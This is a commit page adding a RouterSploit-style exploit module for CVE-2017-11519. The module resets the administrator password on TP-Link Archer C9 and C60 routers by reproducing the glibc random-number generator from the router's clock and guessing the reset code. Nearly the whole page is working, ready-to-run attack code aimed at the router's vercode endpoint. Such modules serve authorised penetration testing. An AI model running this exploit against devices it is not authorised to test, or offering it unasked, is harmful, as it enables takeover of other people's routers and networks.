Unverified Commit 291074b5 by Vadim Yanitskiy Committed by GitHub

exploits/routers/tplink: add a password reset module (CVE-2017-11519) (#768)

This module exploits password reset feature on some TP-Link Archer
routers by leveraging a predictable random number generator seed.

For more details, see this write-up:

https://devcraft.io/posts/2017/07/21/tp-link-archer-c9-admin-password-reset.html

Based on PoC by William Bowling.
parent 71f094ea
import math
from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient
class ExploitError(Exception):
def __init__(self, msg: str = ""):
super(Exception, self).__init__(msg)
class Exploit(HTTPClient):
__info__ = {
"name": "TP-Link Archer C9 admin password reset (CVE-2017-11519)",
"description": "Module exploits TP-Link Archer C9 password "
"reset feature by leveraging a predictable "
"random number generator seed.",
"authors": (
"William Bowling (wbowling.info)", # vulnerability discovery and PoC
"Vadim Yanitskiy <axilirator[at]gmail.com>", # routersploit module
),
"references": (
"https://devcraft.io/posts/2017/07/21/tp-link-archer-c9-admin-password-reset.html",
"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11519",
),
"devices": (
"TP-Link Archer C60",
"TP-Link Archer C9",
)
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
RAND_MAX = 0x7fffffff
def get_time(self) -> int:
print_status("Getting current time at the target")
response = self.http_request(
method="GET",
path="/",
)
if response is None:
raise ExploitError
if response.status_code != 200:
raise ExploitError
if "Date" not in response.headers:
raise ExploitError
import email.utils as eu
date = response.headers["Date"]
return eu.mktime_tz(eu.parsedate_tz(date))
def gen_reset_code(self):
print_status("Generating reset code at the target")
response = self.http_request(
method="POST",
path="/cgi-bin/luci/;stok=/login?form=vercode",
data={ "operation" : "read" },
)
if response is None:
raise ExploitError
if response.status_code != 200:
raise ExploitError
def try_reset_code(self, seed: int) -> bool:
code = self.get_random(seed, 100000, 999999)
print_status("Trying code %d (seed %d)" % (code, seed))
response = self.http_request(
method="POST",
path="/cgi-bin/luci/;stok=/login?form=vercode",
data={ "operation" : "write", "vercode" : code },
)
if response is None:
raise ExploitError
if response.status_code != 200:
raise ExploitError
return response.json()["success"]
def guess_reset_code(self, time: int):
print_status("Guessing reset code")
for seed in range(time, time + 5):
if self.try_reset_code(seed):
print_success("admin's password has been reset!")
return
print_error("Could not guess the reset code")
# from https://github.com/qbx2/python_glibc_random
def glibc_prng(self, seed: int):
def int32(x: int) -> int:
if x & 0xffffffff > 0x7fffffff:
return x & 0xffffffff - 0x100000000
else:
return x & 0xffffffff
def int64(x: int) -> int:
if x & 0xffffffffffffffff > 0x7fffffffffffffff:
return x & 0xffffffffffffffff - 0x10000000000000000
else:
return x & 0xffffffffffffffff
r = [0] * 344
r[0] = seed
for i in range(1, 31):
r[i] = int32(int64(16807 * r[i - 1]) % 0x7fffffff)
if r[i] < 0:
r[i] = int32(r[i] + 0x7fffffff)
for i in range(31, 34):
r[i] = int32(r[i - 31])
for i in range(34, 344):
r[i] = int32(r[i - 31] + r[i - 3])
i = 344 - 1
while True:
i += 1
r.append(int32(r[i - 31] + r[i - 3]))
yield int32((r[i] & 0xffffffff) >> 1)
def get_random(self, seed: int, l: int, u: int) -> int:
prng = self.glibc_prng(seed)
r = float(next(prng)) % self.RAND_MAX / self.RAND_MAX
return int(math.floor(r * (u - l + 1)) + l)
def _check(self) -> bool:
try:
self.time = self.get_time()
self.gen_reset_code()
return True
except ExploitError:
return False
@mute
def check(self) -> bool:
return self._check()
def run(self):
if self._check():
self.guess_reset_code(self.time)
else:
print_error("Device seems to be not vulnerable")
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment